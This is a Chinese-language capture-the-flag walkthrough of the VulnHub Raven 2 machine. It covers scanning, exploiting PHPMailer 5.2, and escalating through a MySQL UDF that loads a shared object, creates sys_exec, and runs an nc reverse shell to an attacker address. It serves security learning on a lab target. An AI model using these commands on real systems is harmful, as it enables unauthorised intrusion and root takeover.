声明:该篇文章仅供学习网络安全技术参考研究使用,请勿使用相关技术做违法操作。本公众号的技术文章可以转载,能被更多人认可本文的创作内容属实荣幸之至,请在转载时标明转载来源即可.也欢迎对文章中出现的不足和错误进行批评指正!
实战打靶系列第 23 篇文章
ctf靶机,4个flag
靶机地址:https://www.vulnhub.com/entry/raven-2,269/
sudo arp-scan -l
sudo nmap -p- ip
sudo nmap -p22,80,111,41494 ip
dirb http://10.0.2.12
打开wordpress发现没有样式表
我们打开源码,发现博客域名
显然,由于wp与博客域名是绑定了的
因此,访问域名无法加载样式表
我们在hosts解析一下
再次访问
扫描一下有无wp漏洞
wpscan --url http://raven.local/wordpress -e vp,vt
看来wordpress还是很安全的
我们发现了vendor目录下有个path
发现第一个flag
而vendor目录貌似就是一个web程序
我们在readme看看版本
搜索一下
searchsploit phpmailer 5.2
看上去还挺多
一般来说phpmailer会应用于邮箱发送
显然wp默认没有这个功能
只有首页contact.php有
接下来我们试试msf有没有直接利用的
只有一个,看上去还行,我们试试看
先填写信息
然后等待五分钟
不知道为什么五分钟后还是不行
看来msf不允许我们偷懒
于是我们直接查看searchsploit 找到的远程利用代码
我们发现利用并不难,于是我们修改代码一下
红框是修改的地方
我们执行看看
建立监听,访问/a.php
我们发现msf的利用应该是成功了
不过msf写入的文件有点奇葩导致最后运行出现了bug
然后我们在上一级目录发现了flag2
首先能想到的就是先看看wp数据库是否有管理密码
root [email protected]
不过数据库密码与root并不一致
不过既然数据库管理员是root那么是否可以利用数据库提权呢
于是我们开始了测试
UDF(User Defined Function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样,可以理解为MySQL的函数库,可以利用UDF定义创建函数(其中包括了执行系统命令的函数)
先准备udf文件,kali是有自带的
我们选择64位的so文件
python的http上传
靶机切到tmp,下载
我们登录mysql
mysql -u root -p
查看插件文件位置
show variables like '%plugi%';
下来我们将u.so写入插件目录
当然我们本身webshell没有这个权限,所以要借助mysql
下面是操作
mysql> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| wordpress |
+--------------------+
4 rows in set (0.00 sec)mysql> use mysql;
use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> create table aaa(line blob);
create table aaa(line blob);
Query OK, 0 rows affected (0.01 sec)
mysql> insert into aaa values(load_file('/tmp/u.so'));
insert into aaa values(load_file('/tmp/u.so'));
Query OK, 1 row affected (0.01 sec)
//读取so并传入aaa
mysql> select * from aaa into dumpfile '/usr/lib/mysql/plugin/u.so';
select * from aaa into dumpfile '/usr/lib/mysql/plugin/u.so';
Query OK, 1 row affected (0.00 sec)
//创建命令执行函数sys_exec
mysql> create function sys_exec returns integer soname 'u.so';
create function sys_exec returns integer soname 'u.so';
Query OK, 0 rows affected (0.00 sec)
//执行函数sys_exec建立监听
mysql> select sys_exec('nc 10.0.2.15 4444 -e /bin/bash');
select sys_exec('nc 10.0.2.15 4444 -e /bin/bash');
flag3是一张图片,可以浏览器访问
flag4在root目录
至此,靶机就完成了
参考资料:
https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0